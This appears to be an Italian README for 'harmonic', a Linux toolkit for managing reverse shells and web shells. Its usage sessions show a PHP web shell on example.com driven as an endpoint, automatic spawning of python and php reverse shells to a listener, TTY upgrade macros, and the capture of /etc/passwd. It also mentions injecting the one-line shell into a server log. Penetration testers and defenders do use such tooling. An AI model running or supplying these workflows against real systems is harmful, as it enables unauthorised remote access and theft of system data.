
Suite per la gestione di reverse shell progettata per lavorare all'interno della shell nativa
L'inizio di un insieme di strumenti Linux per gestire e interfacciarsi con reverse shell (il codice è ancora in uno stato rapido e sporco, con poca gestione delle eccezioni). Con una forte ispirazione alla filosofia UNIX, l'idea di base è avere un demone per gestire endpoint arbitrari (connd, anche se non è ancora un vero demone ma può girare in un terminale separato) ed eseguire strumenti su quegli endpoint.
Gli endpoint sono 'guidati' da uno script o un processo e vengono esposti come file nel filesystem; un client software leggero può quindi essere utilizzato per interagire con essi, ma possono essere altrettanto facilmente scritti e letti usando comandi shell. In effetti, poter eseguire gli script in modo autonomo dalla shell è un fattore chiave del design in cui, idealmente, al massimo uno script dipenderà dalla presenza di un endpoint, ma può essere utilizzato anche in combinazione (a cascata l'uno nell'altro).
Le opzioni attuali degli endpoint sono:
Il client software leggero (hthinc.py) fornisce un'interfaccia di base all'endpoint del sistema e consente di eseguire rapidamente script sul sistema. Sono stati scritti diversi script semplici ma utili:
I tipi di driver di reverse shell (cioè ciò che guida la shell sul sistema remoto) sono i seguenti (attualmente supporto per Linux):
Altri script:
Di' a connd di avviare un endpoint, usando un driver wedge shell sullo script php fornito che effettua chiamate di sistema con risposta formattata. Tuttavia, questo script di una sola riga avrebbe potuto essere facilmente iniettato come codice in un log di un server
$ hconnd.py start wsh http://example.com/hwsh.php
1
Questo ha creato l'endpoint 1 (due pipe di I/O -- puoi vederle come t1i e t1o nella sottodirectory run). Quindi ora usiamo hthinc.py per interagire con la shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Sappiamo che questa è una macchina Linux. Vogliamo allontanarci da una web shell incastrata e ottenere una shell vera e propria. Eseguire il comando integrato !help fornisce il messaggio di aiuto di thinc. Possiamo eseguire uno script sp che eseguirà automaticamente comandi sul sistema remoto, enumerando l'ambiente, avvierà un endpoint nc, genererà una reverse shell e accederà automaticamente tramite una nuova hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Oppure, se sappiamo di usare (ad esempio) PHP come driver, possiamo specificarlo:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
E diciamo che abbiamo una shell senza TTY o vogliamo uscirne, possiamo eseguire una delle macro predefinite:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Inoltre, se vogliamo registrare l'output di un comando, possiamo usare lo script log, che lo salverà nella directory di lavoro corrente:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Mentre gli endpoint sono in esecuzione, puoi collegare/scollegare i client poiché i processi di connessione sono gestiti dal demone.
Poiché tutto può essere eseguito in modo più unixy, possiamo ripetere rapidamente i processi dalla shell. Avviamo un endpoint webshell, otteniamo l'ID dell'endpoint e poi dalla shell eseguiamo lo script sp.py contro l'endpoint (è lo stesso script usato in hthinc.py ma con un punto di ingresso diverso).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
oppure come one-liner:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
e automatizzare facilmente:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
Lo strumento hcmd.py ti permette di eseguire rapidamente un comando attraverso un endpoint dalla tua shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
e di usare pipe o reindirizzamenti sui risultati come al solito
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500